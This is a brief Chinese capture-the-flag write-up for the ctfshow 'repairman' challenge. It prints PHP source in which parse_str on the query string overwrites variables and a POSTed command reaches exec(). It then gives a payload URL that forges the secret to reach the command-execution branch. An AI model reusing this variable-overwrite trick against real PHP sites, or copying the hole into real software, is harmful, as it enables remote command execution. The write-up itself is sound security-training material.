ctfshow新手杯repairman

首先get传递参数mode=0得到源码

Your mode is the guest!hello,the repairman! <?php
error_reporting(0);
session_start();
$config['secret'] = Array();
include 'config.php';
if(isset($_COOKIE['secret'])){
    $secret =& $_COOKIE['secret'];
}else{
    $secret = Null;
}

if(empty($mode)){
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query']);
    if(empty($mode)) {
        echo 'Your mode is the guest!';
    }
}

function cmd($cmd){
    global $secret;
    echo 'Sucess change the ini!The logs record you!';
    exec($cmd);
    $secret['secret'] = $secret;
    $secret['id'] = $_SERVER['REMOTE_ADDR'];
    $_SESSION['secret'] = $secret;
}

if($mode == '0'){
    //echo var_dump($GLOBALS);
    if($secret === md5('token')){
        $secret = md5('test'.$config['secret']);
        }

        switch ($secret){
            case md5('admin'.$config['secret']):
                echo 999;
                cmd($_POST['cmd']);
            case md5('test'.$config['secret']):
                echo 666;
                $cmd = preg_replace('/[^a-z0-9]/is', 'hacker',$_POST['cmd']);
                cmd($cmd);
            default:
                echo "hello,the repairman!";
                highlight_file(__FILE__);
        }
    }elseif($mode == '1'){
        echo '</br>hello,the user!We may change the mode to repaie the server,please keep it unchanged';
    }else{
        header('refresh:5;url=index.php?mode=1');
        exit;
    }

 对于不认识的函数要百度明白，这里的parse_str能够实现覆盖变量，因此payload如下index.php？mode=0&config[secret]=youyou&secret=7f258ef6c9c746f0418e1730a3b78046